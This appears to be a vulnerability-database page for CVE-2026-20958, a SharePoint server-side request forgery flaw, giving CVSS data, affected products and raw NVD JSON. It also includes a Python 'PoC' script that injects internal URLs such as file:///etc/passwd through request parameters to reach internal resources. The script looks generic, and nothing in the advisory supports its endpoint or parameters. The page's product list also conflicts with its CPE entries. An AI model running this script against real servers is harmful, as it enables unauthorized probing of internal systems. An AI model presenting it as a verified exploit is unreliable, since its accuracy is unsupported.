Security Vulnerability Report
中文
CVE-2026-20958 CVSS 5.4 MEDIUM

CVE-2026-20958

Published: 2026-01-13 18:16:24
Last Modified: 2026-01-14 19:21:52

Description

Server-side request forgery (ssrf) in Microsoft Office SharePoint allows an authorized attacker to disclose information over a network.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:microsoft:sharepoint_server:*:*:*:*:subscription:*:*:* - VULNERABLE
cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:* - VULNERABLE
Microsoft SharePoint Server 2019
Microsoft SharePoint Enterprise Server 2016
Microsoft SharePoint Foundation 2013 Service Pack 1
Microsoft SharePoint Server 2013 Service Pack 1
Microsoft SharePoint Server 2010 Service Pack 2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-20958 SSRF PoC for Microsoft SharePoint # Target: Microsoft Office SharePoint def exploit_ssrf(target_url, internal_target): """ Exploit SSRF vulnerability in SharePoint target_url: Base URL of SharePoint server internal_target: Internal resource to target (e.g., http://localhost/, file:///etc/passwd) """ # SharePoint endpoint vulnerable to SSRF endpoint = f"{target_url}/_api/web/webs" # Malicious payload with internal target headers = { 'Content-Type': 'application/json', 'X-Requested-With': 'XMLHttpRequest' } # Inject internal URL through various parameters params = { 'url': internal_target, 'source': internal_target } try: response = requests.get(endpoint, params=params, headers=headers, timeout=10) print(f"[*] Target: {target_url}") print(f"[*] Internal Target: {internal_target}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") if response.status_code == 200 and len(response.text) > 0: print("[+] SSRF Exploit Successful - Internal resource accessed") print(f"[+] Response Preview: {response.text[:500]}") return True else: print("[-] SSRF Exploit Failed") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2026-20958.py <target_url> <internal_target>") print("Example: python cve-2026-20958.py https://sharepoint.company.com http://localhost:8080") sys.exit(1) target = sys.argv[1] internal = sys.argv[2] exploit_ssrf(target, internal)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20958", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:23.790", "lastModified": "2026-01-14T19:21:51.797", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Server-side request forgery (ssrf) in Microsoft Office SharePoint allows an authorized attacker to disclose information over a network."}, {"lang": "es", "value": "La falsificación de petición del lado del servidor (SSRF) en Microsoft Office SharePoint permite a un atacante autorizado divulgar información a través de una red."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:*:*:*:*:subscription:*:*:*", "versionEndExcluding": "16.0.19127.20442", "matchCriteriaId": "FB9ECA81-C1E2-4B02-A45C-0E5664E3C9B9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:*", "matchCriteriaId": "F815EF1D-7B60-47BE-9AC2-2548F99F10E4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:*", "matchCriteriaId": "6122D014-5BF1-4AF4-8B4D-80205ED7785E"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20958", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}